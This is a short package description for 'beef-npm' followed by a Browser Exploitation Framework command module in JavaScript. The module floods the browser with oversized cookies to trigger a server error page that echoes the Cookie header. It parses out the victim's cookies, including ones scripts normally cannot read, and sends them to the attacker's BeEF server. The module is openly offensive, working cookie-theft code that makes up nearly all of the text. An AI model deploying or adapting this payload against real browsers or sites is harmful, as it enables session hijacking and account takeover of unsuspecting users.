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beef-npm

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Node.js package to install and interact with BeEF (Browser Exploitation Framework)

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// // Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // BASED ON https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 beef.execute(function() { function setCookies (good) { var str = ""; for (var i=0; i< 819; i++) { str += "z"; } for (i = 0; i < 10; i++) { if (good) { // Expire evil cookie var cookie = "beef" + i + "=;expires=" + new Date(+new Date()-1).toUTCString() + "; path=/;"; } else { // Set evil cookie var cookie = "beef" + i + "=" + str + "; path=/"; } document.cookie = cookie; } } function makeRequest() { setCookies(); function parseCookies () { var cookie_dict = {}; // React on 400 status if (xhr.readyState === 4 && xhr.status === 400) { // Replace newlines and match <pre> content var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/); if (content.length) { // Remove "Cookie:" prefix content = content[1].replace("Cookie: ", ""); var cookies = content.replace(/beef\d=z+;?/g, '').split(/;/g); // Add cookies to object for (var i=0; i<cookies.length; i++) { var s_c = cookies[i].split('=',2); cookie_dict[s_c[0]] = s_c[1]; } } // Unset malicious cookies setCookies(true); var result = JSON.stringify(cookie_dict); beef.net.send("<%= @command_url %>", <%= @command_id %>, "cookies="+result); } } // Make XHR request var xhr = new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("GET", "/", true); xhr.send(null); } makeRequest(); });